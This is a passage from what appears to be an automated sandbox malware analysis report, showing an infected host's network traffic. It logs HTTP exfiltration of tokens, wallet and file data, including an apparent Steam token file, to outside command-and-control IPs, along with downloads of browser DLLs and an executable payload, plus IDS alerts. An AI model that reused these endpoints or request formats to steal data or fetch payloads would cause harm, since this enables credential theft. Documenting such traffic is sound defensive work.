42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file"------ECFHJKEBAAECBFHIECGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"wallets------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"files------CAKEBFCFIJJKKECAKJEH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="file"------AFCBKFHJJJKKFHIDAAKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"ybncbhylepme------HCAEGCBFHJDGCBFHDAFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAEGCBFHJDGCBFHDAFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build"tale------BGIJDGCAEBFIIECAKFHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="build"tale------FCAAEBFHJJDAAKFIECGD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="build"tale------AAAEBAFBGIDHCBFHIECF--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.21.16 104.21.21.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49780 -> 104.21.21.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49828 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49835 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49834 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49866 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49879 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49891 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49901 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49903 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49917 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49932 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49948 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49939 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49961 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49976 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49993 -> 104.21.5.155:443
